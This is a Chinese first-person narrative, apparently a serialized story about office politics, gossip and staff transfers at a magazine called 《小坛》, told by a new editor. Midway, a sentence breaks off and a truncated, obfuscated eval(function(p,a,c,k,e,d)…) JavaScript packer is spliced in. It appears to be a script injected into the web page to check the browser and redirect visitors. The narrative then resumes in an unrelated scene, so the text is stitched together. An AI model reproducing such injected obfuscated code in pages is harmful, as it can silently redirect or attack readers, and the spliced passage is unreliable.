“我去另一个公司了。” “噢,那,周师傅,您保重啊。真舍不得您啊,周师傅!” “哎!你也保重,小宋!” 周师傅要走了,我很失落,可是,我又有什么办法。我只是一个小小的职员,我没有什么能力,给他们安排一份好工作,给他们开高高的工资。哎! 又一天早上,我经过门卫室的时候,陈师傅又把我叫住了。 “小宋,我二女儿出嫁了,给你喜糖!” “哎呀,恭喜您啊,陈师傅!” “谢谢!”陈师傅说。 中午吃饭了,我打了饭,端到一个饭桌前。马大姐和米娜也跟我坐在同一张桌上。 “小宋今天忙吗?”马大姐问候我说。 “今天还好的。”我边吃边说,“今天的梅干菜扣肉蛮好吃的。” “小宋爱吃肥肉?人家好多女孩子都不吃肥肉。”马大姐笑着说。米娜也跟着笑。 我不知道该说什么了。 “小宋不小了,好找对象了。”马大姐笑着说。 “也不能急,看缘分吧。”我说,“天天忙工作,哪顾得上这个。” “要找对象了。女的跟男的不同。男的越老越值钱,女的越老越不值钱。男到三十正当年,女到三十少半边。男到四十一枝花,女到四十豆腐渣。你看米娜早就结婚了。你也别把心思全都放在工作上,先成家后立业。”马大姐笑眯眯地说。米娜也开心地笑着。 我说:“我现在就想有个自己的房子。” 马大姐笑着说:“房子有什么好的。我家有好几套房子,我都不想住了,我卖给你!” 我说:“我刚工作,你卖给我,我也买不起啊!” 马大姐红光满面地笑着,米娜也灿烂地笑着。她们两个有房子的人都快乐地笑着。 “今天的青菜有点苦哈。”我说。 “还行吧。我们都吃惯了。你不是农村的啊?”马大姐问我说。 我说:“我是农村的啊,可是我小时候没吃过这种小青菜。我们北方都是萝卜白菜。”我放下筷子说。 马大姐扒拉着碗里的饭说:“你吃完了?你的饭没吃完嘛,要光盘行动啊。” “噢,我打地有点多了,吃不完了。”我说。 “你要吃完,不要浪费。”马大姐说。 坐在我旁边的徐华说:“我也吃不完,食堂的大米饭,给地那么多,女同志吃不完很正常。” 马大姐鄙夷地说:“吃不完?你不是农村的啊?还是没饿着,要是饿上十天,连青菜叶子你也不会剩。” 饭后,我们走在回去的路上。 前面,走着一个人。是洪峰编辑,一个老员工。 “洪峰的心脏不好,他的心脏里头装了两个支架。他现在只能干些轻松的工作。他本来都要做部长了。”马大姐说。 “哦。”我应声儿道。可是我心里想,《小坛》人的八卦功夫真是太可怕了,他们的眼睛跟安检扫描仪似的,人家肚子里装了两个支架,她也得给人家拿出来八卦一下。 徐华骑上他的摩托车说:“我先走了,我中午要回家一趟。” 马大姐说:“你的摩托车,声音怎么那么大的?该报废了!” “汽车给老婆开,我自己骑车!”徐华笑着说。 徐华的摩托车咆哮着从我们的耳边飞驰而过。 “徐华离过婚了。”马大姐说。 “啊?你不说我都不知道。”我说。 马大姐说:“他现在的老婆是他后来又找的,跟他又生了一个儿子。他前妻生的女儿也跟着他。” “哦。他是怎么离婚的?”我问。 “他前妻嫌弃他呗,嫌他丑。他的皮肤不好,脸上疙疙瘩瘩的。”马大姐说。 我心里想,乖乖,《小坛》人八卦的本事太厉害了,真是想起来一阵子,连你祖宗八代都能给你扒出来说道说道。太可怕!实在是太可怕了! 行政楼的台阶下,开着一树玫红色的小花。 我好奇地说:“咦,那是什么花啊,真好看!” 马大姐说:“那是茶花!你不认得茶花啊?你不是农村的啊?” 我说:“我是农村的啊,但是我从来没见过茶花,我们北方没有茶花。” 马大姐说:“你们这些八零后,什么都不知道,什么苦都没吃过。你们是蜜罐里泡大的,我们是苦水里长大的。” 我说:“我跟他们不一样,他们可能没吃过多少苦,我可是吃了很多苦。” 马大姐说:“你能吃苦?你能保证每天六点四十就到社里吧?” 我说:“社里上班时间不是七点五十吗?” 马大姐说:“你看,你不敢保证吧。我以前评职称的时候,每天第一个到单位,六点半不到,我就到了。” 我说:“社里没要求来那么早。否则,我也可以啊。” 马大姐说:“你别光嘴上说说。明天,我来找个签到本。放在南门门卫那里,你到了就去门卫那里签到。我看你能不能做到。” 我说:“我只要遵照社里的要求正常上班就行了。我没必要到门卫那里签到吧?” 马大姐说:“你看,你就是不能吃苦。” 我回到自己的办公室,想想马大姐的样子,真是憋了一肚子的气。可是又不敢跟她们发火。我一个新来的,敢跟她们顶嘴吗?算了,我惹不起躲得起。我决定,这以后,我中午都不去食堂吃饭了。我回我自己的宿舍去,哪怕是吃一碗泡面呢,我的内心也清清静静的,再也不受那个鸟气了。 第二天一大早,等我去门口儿买包子的时候,我看到门卫那儿站着两个新来的保安师傅。他们的个头比先前的周师傅、陈师傅的个头儿要小一些,皮肤要白一些。两个人,站在那儿,穿着衣带着帽,显得白净细小。 “早!” “早!” “你们是新来的吗?”我问。 “是的!” “陈师傅他们走了?” “是的!” “他们都蛮好的。我还蛮想念他们的!”我说,“你贵姓啊?” “我姓江!” “哦,我以后就叫你江师傅。” “好的!”他说,“你贵姓啊?” “我姓宋!”我说。 “那我叫你宋编辑。” 2.老栾、老乌 我去领个表格、A4纸,或是复印一篇文稿的时候,必要去文印室,必要经过老栾的同意。老栾那时候年近五十了,有着发胖发肿的脸和脖子,还有发福发白的胖身躯和胖屁股。 “早啊!老栾!我来复印几篇文稿。”我跟老栾打招呼说。 “早!小宋!来《小坛》这段时间还适应吗?”老栾说。 “还好的。谢谢老栾关心!”我说。 “《小坛》工作很辛苦,你们刚来的小年轻的一定要注意身体!身体是革命的本钱!你看,社里,有好几个同事,本来混地风生水起,结果一场大病,什么名利心都没有了。你的那些荣誉在疾病面前根本不值一提。身体健康是前面的一,其他的都是后面的零。”老栾说。 我说:“没办法,我们现在就是拿健康换工作。有时候也不是自己要如何如何,是工作逼着你往前跑。你看,我现在就要准备新员工入职汇报的材料。” 老栾说:“你们新员工要汇报工作了?你别紧张。我来跟你说说。来!宋编辑,请坐。” 老栾为人这么热心,这么热情奔放地要给我这个新人指点迷津,我真是万分感谢。我就搬个小板凳坐在他的办公桌旁,像个小学生一样,听他给我讲新员工汇报工作的注意事项。在我的心里,他俨然是我这个职场小白最可信任的社会主义老大哥了。 “新员工入职汇报的时候,你一定要自己戴个手表,控制好时间,时间一般是四十五分钟。记住,可以拖几分钟,但是内容不能不够。不能出现空白。”老栾说。 我点头道:“好的。” “我那时候喜欢找个小卡片,把重要的容易忘记的内容记在小卡片上。这样,一旦你因为紧张出现卡壳的时候,可以看一看小卡片上的提示。”老栾说。他语气温和,绘声绘色,真像一个慈祥的大婶子。 我说:“好的。实在不行,我就记在自己的手心儿里。我以前上学的时候,上讲台上默写单词,我就经常偷偷地把不会写的单词记在手心儿里。” “这个不太好。宋编辑。我们现在是正式的编辑了。就光明正大地记在小卡片上。你看人家那些主持人,手里也有小卡片。”老栾说。 我说:“好的。” “汇报工作的时候,要简明扼要,不要眉毛胡子一把抓。那样什么也说不好。舍得,舍得。多则得,少则惑。哪怕你只说清楚一个问题。那你这次汇报也是成功的。你们新员工毕竟是刚入职,领导不会看你的内容有多大的容量。领导主要是看你的表达能力,逻辑思维能力。和临场发挥能力。他们看的是你的综合素质。所以,你用不着面面俱到。”老栾说。 “好的。谢谢老栾。”我坐在老栾桌子旁边,先把他说的注意事项一一记录了下来。 “多亏了您的指点。新员工入职汇报,我还有点紧张呢!”我说。 “你不用紧张。你们都是凭自己的本事考到《小坛》的。千军万马过独木桥。你们能胜出,说明你们的综合素质是响当当的。我那时候一开始也紧张,后来,慢慢地就不紧张了。紧张是必然的,说明你重视。所以,即使紧张,你也不用害怕。”老栾说。 我说:“是的,即使是失眠,也不代表结果就不好。我那时候考英语四级前一天,紧张地没睡好觉。我考研的时候,三天,有两天,紧张地没睡好觉。结果,还不是考过了。” 老栾说:“我家你嫂子就是心理素质不好,她就是高考的时候太紧张了,结果没考好。没考上大学。我这个人跟你们不同,我好坏无所谓。我什么时候都能睡地很好。所以,我考大学就很顺利。” 我说:“你跟嫂子是高中同学啊?” 他说:“是的。你嫂子是我们班的班花。我一眼就认定了她,非她不可。结果,我考上大学以后,我父母坚决不同意我们俩的婚事。嫌她是农村户口,死活不同意。” 我说:“那你们后来怎么办的?” 他说:“我跟我父母说了,非她不娶。他们两个老的要是不同意,我就跑到你嫂子她们家当上门儿女婿。我这样一说,我父母就没办法了。不过,你嫂子也有上进心。她后来考到了我们镇里的广播站里。” 我说:“从校服到婚纱。你们的婚姻真是浪漫哈。” 老栾说:“你嫂子这个人就是个马大哈。她出门儿,围巾、手套,都是我提醒她戴。等她把它们戴出去,全都能给丢掉。你嫂子自从我们结婚到现在,不知道丢了多少副手套。” 我说:“人家都是女的细心,女的照顾男的。你们家是你比嫂子细心,你照顾嫂子,说明嫂子命好,过地幸福。” 老栾说:“谁说婚姻里一定是女的照顾男的的?好男人也是会照顾老婆孩子的。小宋,你还没结婚吧?你记住,以后结婚了,不能给男人花钱。有钱给你的父母花。” 我说:“好的,谢谢老栾大哥!您这么嘱咐我,真像我娘家的哥哥。” 他说:“小宋也不小了吧?我一个朋友的儿子,是个外科医生,他离婚了,有一个小男孩儿,跟着他。不过,这个小男孩儿主要是他爷爷奶奶带。你们要是结婚了,肯定是要再生一个的。” 我说:“我不会处理那么复杂的关系。我不能接受带小孩儿的。” 老栾说:“那好吧。既然你不同意,那也不能勉强。我前几天还跟那个小伙子一起吃饭,我说这件事包在我身上。结果你不同意。看来,你们是没有这个缘分了。” 我说:“谢谢老栾大哥!您为我费心了。” 他说:“没事儿!我的确很喜欢那个小伙子,所以很想促成你们。” 我说:“我不想找个有孩子的。我什么事情都喜欢一心一意的。太复杂的关系,我受不了。我哪怕是找个要饭的,我们也是一心一意的。我们的孩子得到的父爱母爱也是完整的。” 老栾说:“好的!理解!” 新员工入职汇报,我鉴赏的是《念奴娇》。我师父聂编辑和组内的几个编辑,拉了把椅子坐在台下听。 “‘大江东去’,江,是什么样的江,是波澜壮阔的江,是烟波浩渺的江。可是词人用一个‘大’字,就让我们感受到了长江的雄壮,开阔。而且是那样不加雕饰、浑然天成。这一‘大’字看似毫不起眼,但是无比大气、朴拙。君不见刘邦《大风歌》,劈头一句‘大风起兮’,便让我们感受到风之大之雄之迅猛,它从过去刮到了现在,从都城刮到了故乡,把区区一个刘季刮成了帝王。苏轼的词,果然是要关东大汉执铁板铜牙来高唱的。” “滚滚长江东逝水。江水奔流不息,时间亦不舍昼夜,子在川上曰,逝者如斯夫。所以接下来的‘浪淘尽、千古风流人物’就很自然了。英雄人物当然不可能真地被浪花淘洗,他们是消逝在了历史的长河中。当然,一同被淘尽的还有他们的是非成败以及他们执着一生的英雄梦。” “古今多少事都付笑谈中。人生如梦,世事无常。这在多情者想来,会徒增多少感慨与悲凉。周瑜与曹操,固一世之雄也,而今安在哉?蜗角虚名,蝇头微利。人生在世,不过是寄蜉蝣于天地,渺沧海之一粟罢了。” “人生如逆旅,我亦是行人。可是人毕竟是凡胎肉身,人不可能真地逍遥自在,人处于浮世当中,无法自拔,只能与世推移,随波逐流,哪怕是黄粱一梦,你也只能去厮杀或是被厮杀。如此说来,人,是多么可笑可悲又无奈啊。” “君不见,周郎曹公皆尘土。‘千古’一词,既可以看做是词人对英雄人物被淹没在历史长河中的无奈感慨,也可以看做是词人对他们的崇敬与膜拜。毕竟,历经历史长河的冲刷,他们的肉身与时俱灭,可是他们的精神千古,浩气长存。这,是不是无能的人类,在无情的大自然面前的一种成功和胜利?” 我那天讲地很流畅也很平静。我自认为很不错。等我汇报完毕,我师父聂编辑跟那几个编辑说:“马上组内开会。我们一起来评评小宋的汇报吧。今天,林大师也莅临指导了,我们也听听林大师的想法。” 我们几个到了会议室,大家都落座了。 刘编辑先说了:“小宋的语速太快,《念奴娇》的鉴赏换作是我,我可能不会这么鉴赏。”刘编辑跟我年龄差不多,她生着长长的黄瘦的脸儿,和细长的眼睛。 聂编辑说:“小宋的语速快,是众所周知的。北方人,快人快语,蛮好的。以后开讲座的时候注意一点儿就行了。” 林大师说:“我马上还有事儿,我先说几句吧。” 聂编辑说:“大师你说。” 林编辑说:“小宋讲的《念奴娇》呢,我听了以后,总体来说还是非常不错的。小宋的语言鉴赏能力还是很强的,文学功底很深厚。对词作的解读也精准到位,有自己独到的见解。至于语速快呢,恰恰说明她大脑运转地快,这个无可厚非。” 聂编辑微笑着点点头说:“她自己准备的,我都没管。小宋的这次汇报呢,总体来说,还是很不错的。” 林大师说完,跟我师父聂编辑说:“小聂,我先走了。我那边还有一个讲座,要赶时间。” 聂编辑笑着说:“你去忙吧!” 林大师走了以后,乌编辑说:“林大师又要出去走穴了?” 聂编辑笑着说:“大师的活动多的。” 乌编辑说:“组里的活动都不参加,天天出去走穴。” 刘编辑说:“林大师是有出场费的人,跟我等不一样。” 乌编辑说:“他赚了那么多钱有什么用?你问问他自己身上有几个钱?全被他老婆女儿管着,管地死死的,生怕他在外头招蜂引蝶。” 聂编辑笑着说:“大师也愿意接受老婆的管辖。我也是,发了工资都给老婆,家里的吃喝拉撒都是她管。” 乌编辑说:“林大师跟我们一起吃饭,也不行,人家都喝酒,他喝椰奶。最后我们给他起了个绰号,叫‘椰奶大师’。” 聂编辑笑着说:“大师不怎么喝酒,这是真的。” 徐编辑说:“他现在被他老婆女儿拿捏地死死的。不让喝酒就不喝酒。女儿生了孩子让他接送,他就接送。你说你一个姥爷你忙地什么啊,外孙,又不是你家的。后来他女儿生了二胎,让大孙女姓林,他这下跑地更勤快了。” 我心里想,人家愿意交钱给老婆,愿意疼闺女,这不好吗?关你甚事?你居然在背后当众说人家。 刘编辑说:“大师跟他夫人、女儿关系好呢。上次刷到他的视频,他跟他夫人还有女儿、外孙一起在家里拍的。” 乌编辑说:“那条视频我也看到了,大师在家里穿的秋裤,他有没有穿内裤还不知道呢。” 乌编辑的话,让大家都笑了。 聂编辑说:“大师还是很儒雅的,怎么到你嘴里成了这个样子了。” 乌编辑说:“他儒雅?你们是不知道。我们年轻的时候,跟他一起出差住在酒店里。晚上,我们出去逛去了,他不去。等我们半夜逛了回来,到酒店一看,他跟他老婆正睡在被窝里呢。他现在到处走穴。不知道的还以为他多么高尚。我们是知道的,这些人满嘴的仁义道德,一肚子男盗女娼。” 我心里想,林编辑那时候年轻嘛,跟老婆感情好,去省会想带着老婆,这又有什么好说的。乌编辑平时很热心,怎么那么爱说别人的坏话呢。这些老家伙也真是的,跟个女人一样,平时到一起吃吃喝喝,背后一个个地都是恨不得贴对方的大字报,狠狠地揭发对方。这样的行为一时蔚然成风,我对编辑部的友谊更加怀疑了。既然是好友,那就应该荣辱与共,维护对方。像这样当面一团和气,背后互相攻击,那这所谓的友谊还有什么意思呢。 乌编辑的话,大家不敢搭茬儿。只好另找话题。 “李编辑,听说你买了辆豪车嘛!”刘编辑说。 “啊,我还不敢上路呢!自己不敢开。”李编辑说。李编辑工作多年,尚是单身。买了新车,也没有人陪她一起练习。 “新车买来,要练练手儿的。你呢,也是的,上班的时候上班,下了班大家都回家了,各忙各的去了。是吧?不行,我陪你练练吧。”乌编辑说。 “那谢谢你了,乌编辑。”李编辑说。 “不谢!我反正闲着也是闲着。不行,明天上午,你要是没事儿,我们就出去练练。我带着你练一上午,你下回就顺手儿了。”乌编辑说。 “那好吧,乌编辑。耽误你时间了。”李编辑说。 “乌编辑是咱们中文组的热心人。”刘编辑说。 “是的呢,乌编辑是热心呢。平时大家有什么棘手的事儿,都找他出谋划策。乌编辑还特别会生活呢。你看他朋友圈里发的那些莴苣,长得多好啊。都是乌编辑自己种的。”李编辑说。 “莴苣叶子也好吃的。”刘编辑说。 “哎。那个莴苣叶子,我们一茬茬地薅着吃,吃了不少茬儿了。”乌编辑说。 “老乌的莴苣长得旺盛,浇地都是你自己的尿吧。”徐编辑说,“你们家生活条件好啊,怪不得那些莴苣都长地油汪汪的。” 大家哈哈大笑。 “老乌这个人点子多的。点子不多能把那么漂亮的老婆哄到手嘛。”徐编辑笑着说。 “乌编辑的夫人是漂亮的。”刘编辑说。 “我嘛,年轻的时候也不赖。”乌编辑说。 “你们都没见过乌编辑年轻的时候的样子吧?”徐编辑说。 “没见过。”李编辑说。 “标准的大帅哥,奶油小生!”徐编辑说,“我把他年轻的时候的照片发到群里,你们看看。” “哎呀,是标准的!”大家看了以后说。 “那次是八五届的同学聚会,是吧。”乌编辑淡淡地说。 “你高中是八五年毕业的?乌编辑?”李编辑问。 “嗯。八五年,你们很多人那时候还没出生吧?你说时间过得多快。一转眼儿多少年过去了。现在都成小老头儿了。”乌编辑说。 “以前是小乌,现在成了老乌了。”徐编辑说。 “嗐!你还别说。现在我儿子都被叫作老乌了。人家打电话到我家,要找老乌,我不知道他要找谁,有的是找我儿子呢,有的是找我的。”乌编辑说。 3.新雨、李涛涛,老向、老姜 临近“十一”的时候,社里要举行一场秋季运动会,我们几个新来的被安排做了裁判。我们一群人,戴着帽子,拿着计时器,坐在铁架子搭成的看台上。 有一个斯斯文文的男生问道:“我是第几跑道啊?” “你是第三跑道。”已经工作好几年的夏萍说。 “哦,我眼睛近视地厉害,幸好你提醒我。”那个斯斯文文的男生说。 那个男生看起来温柔和气,还有一团稚气。 我问他说:“你也是新来的吗?你叫什么名字啊?” 他说:“我叫新雨。我是去年来的。我在英文组。” 我说:“你说话这么斯文,是南方人吧?” 他说:“不是。我是东北的。” 我说:“啊?你的气质跟产地严重不符啊。” 他笑着说:“是的。你看李涛涛,高大威猛,他像不像东北的?” 我说:“嗯。他倒是像是个彪悍的东北人。” 李涛涛听了我们的话,转过身来说:“我才不是东北的呢,我可是土生土长的金河人。” 李涛涛的脖子上,挂着一个崭新的相机。 我说:“你这相机蛮贵的吧?” 他说:“万把块钱吧,大学里买的。” 我说:“啊?你大学里都买得起这么贵的相机了?” 他说:“我老爹给我买的。这年头,谁花自己的钱啊。” 夏萍说:“李涛涛的爸爸是金河市有名的土豪,你不知道吧?” 我说:“不知道。” 李涛涛说:“提他干嘛?我本来在海坝市呆地好好的,他非把我给调过来,好让我在他眼皮子底下。” 新雨说:“他让你在他眼皮子底下,他罩着你,还不好啊。” 李涛涛说:“好什么啊?什么事儿都被他安排地好好的,没意思。” 新雨说:“接下来,就是结婚生子,继承家族企业了。” 李涛涛说:“我爸房子都给我买好了,在苏格兰印象,顶楼,你们有空儿去我那里看星星去。” 李涛涛长得膘肥马壮,脸上胡子拉碴,黑沉沉的,一双小眯缝眼,戴着个黑框眼镜,在阳光下一闪一闪的,看起来像是个老成的中年干部。 我说:“你哪年来的啊?” 他说:“我也是今年才来的。” 我说:“我没见过你。” 他说:“我们不在一个部门。我在财务部。” 新雨说:“你是不是觉得他像个老干部啊?” 我说:“有点儿。我一点看不出他是才毕业的。倒是你,像是刚毕业的。” 李涛涛说:“你们都被他的外表给欺骗了。他82的,比我们都大。” 我问李涛涛:“你是八几的啊?” 他说:“我八五的。” 我说:“那你比我们都小呢。” 李涛涛说:“是的啊,我是败给了气质。我气质比较成熟。” 新雨说:“没办法,基因里自带的,土豪气质。这泼天的富贵气,想挡都挡不住。” 半年过去了,年终考核的结果出来了。 一大早,我刚进办公室,聂编辑就跟我说:“小宋,你的业绩不错啊。在中文组,除了老姜,就是你了。”聂编辑说这话的时候,正站在办公室里,低头看着他手里的一份文件。 我说:“啊?考核结果出来了呀?都是师父指导的好。我跟姜编辑还差着一大截呢。” 我师父说:“你的业绩是实打实的。老姜的那些文章都是搞私活儿搞出来的。这么大年纪了,还那么想不开。自己搞私活儿,还不拿出来跟组里的同事分享。” 戴眼镜的丁编辑说:“老姜现在怎么这样了?他都快退休了,还搞这鬼名堂,这不是让人瞧不上吗?” 我师父说:“老姜以前不是这样的。这几年不知道为什么,紧张成这个样子了。” 丁编辑说:“是的啊。老姜以前多潇洒啊,他天天下棋,下棋下地都入了迷了。孩子跌倒了都不扶,他老婆一生气,把他的棋盘跟棋子一起扔到下水沟里去。他心疼地要命,自己再去一颗一颗地摸上来。” 我说:“老姜想搞私活儿,也是人家有本事。换做是我,我想搞私活儿还没那个胆子呢。” 丁编辑说:“小宋这次业绩搞得好,老聂脸上也有光了。你看你们师徒二人,多豪迈!” 老聂说:“都是她自己搞的,我忙,我也没怎么指导。” 丁编辑说:“这次考核,业绩最差的是老向。他被调到后勤了。” 老聂说:“嗯。” 我说:“分给他负责的版面本来就是那些冷门的版面啊。分给他的资源是最差的,他的业绩当然也是最差的了。” 老聂说:“领导管你这些呢。他们只看结果。” 我说: “这也太不讲理了。” 吴悠悠说:“刚才在食堂门口儿,看到老向了。他站在那儿,给那些来开会的编辑发饭票,我看到他,心里可不是滋味儿了。老向以前也是个编辑,一介书生,被折辱成这个样子了。” 我说:“是的。唇亡齿寒。我们曾经是同一个战壕里的。看到老向被调到后勤,心里真是五味杂陈。” 我师父聂编辑说:“你们瞎操什么心啊?人家老向还不想在编辑部呢。人家在后勤,工作轻松,没有压力,有什么不好。就是钱少拿一点吧。” 丁编辑说:“说是这样说。这几年,《小坛》对老向的打击蛮大的。先是把他爱人调走,好好地夫妻俩儿,非得给人家拆开。谁讲情都没用。自从老向的爱人被调走以后,老向就没有工作劲头儿了。今年再把他搞到后勤。你说正常人哪吃得消啊。” 老聂说:“他们当领导的,管你这些呢。” 吴悠悠说:“上次开会,任社长还说,老向的老婆到了《且戒》以后,发展地蛮好的。他还觉得自己功德无量,干了件天大的好事呢。” 我师父说:“那是。他们还不是拖着屁股爬楼梯,自己抬自己。” 一天,我在社里正走着,看到老向了。老向的个子高高壮壮,得有一米九的样子。老向跟他爱人都是东北人。老向大概是中年发福了,他长得胖乎乎的,面皮白白净净,干净的小平头,头发一根一根地向上竖立着。他的性格是温吞吞的,不急不躁,一副波澜不惊的样子。我走到他跟前的时候,喊他一声:“向编辑!”他立马停下脚步,站定,弯下腰来,他的厚重高大的身躯像是天幕一样垂下来,他的腰弯成九十度,向跟他打招呼的人深深地鞠一躬,才站直身子走开。 快要过年了,我跟我妈妈打电话的时候,我妈妈问我说:“你在编辑部成绩怎么样啊?” 我不高兴地说:“我成绩还好,你以后不要再问我的成绩了。从小到大,天天问我的成绩,成绩成了你对付我的杀手锏了。现在我工作了,你还来问我的成绩。你还想控制我一辈子啊。” 呵呵!这以后,我妈妈再也没有问过我的成绩。也许这就是她说的“打得一拳开,免得百拳来”吧。 过年的时候,我去我妹妹家找她玩。她家人都去青羊山卖菜去了,我妹妹自己在家。 我问她:“两个小孩儿呢?” 我妹妹说:“都在睡觉呢,还没起。” 我说:“我去看看子涵去。” 我妹妹跟我一起到了她的房间里,小宝宝醒了。我妹妹从被窝里抱起那个小宝贝,像是晃布娃娃一样晃了晃说:“你看,这是什么玩意儿!”那个小宝贝实在是太小了,她像一条小鱼一样拢着嘴。她的眼睛很大,估计那时候,她还看不清楚吧。她的眼睛痴痴地张着,像是在看什么,又不像在看什么。 我说:“小宝宝好小啊,我都不敢抱了。我不会抱!” 我妹妹说:“别抱!我都不想抱!” 我说:“雪寒呢?” 我妹妹说:“雪寒,她奶奶夜里搂着睡的。这会儿还没醒呢。我一个人夜里照应不过来。” 正说着,东屋的房间里,响起来小女孩儿的声音:“妈!妈!” “雪寒醒了!”我妹妹说。我们一起到了东屋。东屋里,对门儿放着一张床。床底下,是一包包的给小孩儿换下来的尿不湿。有的里头还包着屎。 我妹妹看了我一眼说:“她奶奶一大早就起来去卖菜了,根本来不及拾掇。” 我说:“雪寒呢?怎么看不到雪寒。” 我妹妹说:“这不是!小孩儿小。在被窝里看不出来。” 我定睛看了看,一个小猫儿似的小女孩儿在被窝里抬着头。她是趴着睡的。才一岁多的孩子已经很独立很懂事了。她老老实实地呆在被窝里,顶着被子,等着妈妈来给她穿衣服。 “雪寒醒了?来!妈妈给你穿衣服。没办法,照顾不过来。”我妹妹说。 “我来帮你抱着老二吧。”我说。 “没事儿,放小车里就行。这不有小车嘛。还是生雪寒的时候,咱家给买的。” 我说:“那我帮你把地上的垃圾收拾收拾吧。” 我妹妹无所谓地说:“没事儿。”我去把地上的那些尿不湿给捡起来。 “这些尿不湿扔到哪啊?”我说。 “你扔到西边天井里吧,那里有个白色的垃圾箱,看到了吧?是个泡沫箱子,专门儿装菜的。” “看到了。里头都是尿不湿,还有屎。”我说。 “先放那,都是小孩儿拉的。等大响赶集回来再去倒垃圾。大响每天赶集回来都去给小孩儿倒垃圾。” 夏天到了,又到了考核的时候,这次,我的业绩是中文组第一。米娜也很好,她是英文组第三。开会的时候,我们几个业绩优秀的走到前面,任社长亲自给我们发了奖状,那奖状就是社里内部的,没什么含金量。此外,任社长还奖励了我们每人一个信封,信封里是二百块钱。 散会了,米娜笑着跟我说:“小宋,你今年的考核业绩蛮厉害的。” 我说:“刚来嘛,总得冒个泡吧。” 她说:“你这次冒了个彩色的泡泡!” 她说:“我们英文组的新雨走了。” 我说:“我不知道。他不是好好的吗?怎么走了?” 米娜说:“听说,他跟领导拍桌子了。说领导看不起他,不肯用他。” 我说:“他被发配到哪里去了?” 米娜说:“他被直接调到区外的编辑部了。” 我说:“那他的老婆孩子怎么办?” 米娜说:“他老婆跟他离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我说:“我也是的,我以后也不想去食堂吃饭了,我一上午累地要命,我吃个饭还得跑到她们跟前装孙子。她们嚼着鸡骨头说些鬼话,我还得毕恭毕敬地听着。真是心累。我宁可自己回宿舍吃个泡面,都比跟他们一起吃饭强。我精神上是自由的。” 欧阳杰说:“上次,一个女的要给我介绍对象。给我介绍了一个脑子有问题的,说她们家里有别墅。哼!我稀罕她们家的别墅吗?我自己以后不会买吗?”欧阳杰说着说着,他黑黑的眉毛竖了起来,透过他有些黑黑的皮肤,我看到他的脸腾地红了。我知道他这是激愤了,生气了。 我说:“你们男编辑吃香的。这儿的小姑娘都是独生子。又年轻。” 欧阳杰说:“年龄倒不是问题。要是自己谈的,大我五岁都没关系。关键是她们给我介绍个脑子有问题的。” 我说:“介绍个傻子谁高兴啊。怪不得你会生气。” 欧阳杰说:“我当时就生气了。我气地面红耳赤的。差点跟她发火!” 我看看欧阳杰有些黑黑的脸,笑着跟他说:“你居然敢跟她们生气。我可不敢。不过,你皮肤黑,你生气了也看不出来!” “你怎么这样说我!我黑碍你什么事!”欧阳杰虎着脸说。 乖乖!生气了。我不敢说话了。我打窗户看看大门口儿。远远地,李涛涛骑着摩托车,载着社里的领导飞驰而过。 我说:“欧阳,那不是李涛涛吗?他刚才骑着摩托车带着吴主任过去了。他们这是去哪儿赴宴回来了?” 欧阳杰硕:“李涛涛现在是编辑部副部长了。混地风生水起地。他天天跟那些主任一起喝酒打牌,称兄道弟的。” 我说:“他本来就长得像个老干部,现在有了头衔,终于形神兼备,形神合一,形神一体了。” 新雨走了。杀鸡儆猴,唇亡齿寒。从工作的第一年开始,我就对《小坛》不再有安全感了。人非圣贤,孰能无过。那些因为跟领导说了几句实话真话大话而“表现不好”,被悄悄弄走的,我不知道都经历了什么。我以前以社为家,现在做不到了。杂志社不是我的家。我不知道哪天,领导看我不爽,就会把我弄走。把我弄走,我也不会赖着不走,我后面办公室里还有一堆书,我要去把它们清理了。我就来到后面的办公室,我推开那几扇柜子门儿,把我的一堆书,用我的自行车一趟趟地拖走。放到宿舍里。这样,一旦被《小坛》发配,我就可以迅速撤离,绝不磨磨唧唧,也不留下任何痕迹。 我把我的书清完以后,看到旁边办公室的门开着,是老姜在里头。他在摆弄他的打印机,弄地两手都是油墨。 我说:“老姜,你在忙吗?” 他说:“是啊。你来干什么的?” 我说:“我来清理我的书。你还会摆弄打印机呢?” 他说:“我这是连供的。可以彩色打印。” 我说:“听说新雨走了,你知道吗?” 他说:“我不知道。他是新来的吗?” 我说:“比我早一年。” 他说:“他还没等到混个脸熟就被弄走了啊?” 我说:“是的。” 他说:“《小坛》就这样,之前也有几个被弄走的。老向不是被搞到后勤了吗?他们现在开始搞我了。” 我说:“你都快五十了,老员工了。怎么还会搞你呢。人家老王,上班时间睡觉打呼噜,不是也没事儿吗?” 他说:“我们跟老王不一样。谁能跟他比。他跟老黄是同学,他们从草根的时候就一起混的。” 我说:“你不是本地的吗?你在《小坛》也不少年了吧?你还害怕吗?” 他说:“我是安徽的。我家儿子上初中了,我才应聘过来。我以前在安徽蛮好的。我家在桐城,桐城派你知道吧?” 我说:“嗯,听说过。” 他说:“我以前的杂志社也是四星级的。里面的员工很多学历也很高,也培养了很多人才。” 我说:“那你怎么还要来这里呢?” 他说:“那时候就想出来看看嘛。就跟我爱人一起出来了。我到了《小坛》,为《小坛》做了那么多事,社里30周年社庆的时候,图书室里那些文案都是我搞的。《小坛》一块块石头上的文字都是我写的。到最后,领导给我什么了?” 我说:“啊?石头上的那些诗情画意的文字都是你写的啊?我还以为是请了外头的人写的呢!” 他说:“全是我写的。” 我说:“嗯,仔细想想,还真是你的字体。老姜,你真有才!你还会写诗呢!我也喜欢写诗!” 老姜说:“在《小坛》,会写诗有什么用。领导不懂得欣赏,还不是对牛弹琴。” 我说:“是的啊。那个乌主任还特别喜欢写诗。天天炫耀,发朋友圈,人人夸赞。他写得什么东西啊!顶多就是顺口溜儿!也没有韵味儿,也不押韵,臭死了!比你写地假远了!” 4.黄林军 任社长开会说:“新员工要有危机感。一个单位,让员工没有安全感就是给员工最大的安全感。你不要脚踩西瓜皮,滑到哪里是哪里。人家都在奔跑了,你还在原地踏步。老员工,也不要只想拿工资,不想做事。把事情全推给小年轻的。一到做事的时候,你就年纪大了,做不动了。要是比赛搬金砖,你保证比小年轻的搬地快!大家都是《小坛》的一员。单位可以没有你,但你不能没有单位。单位是你跟社会交流的桥梁,没有单位你什么也不是!” 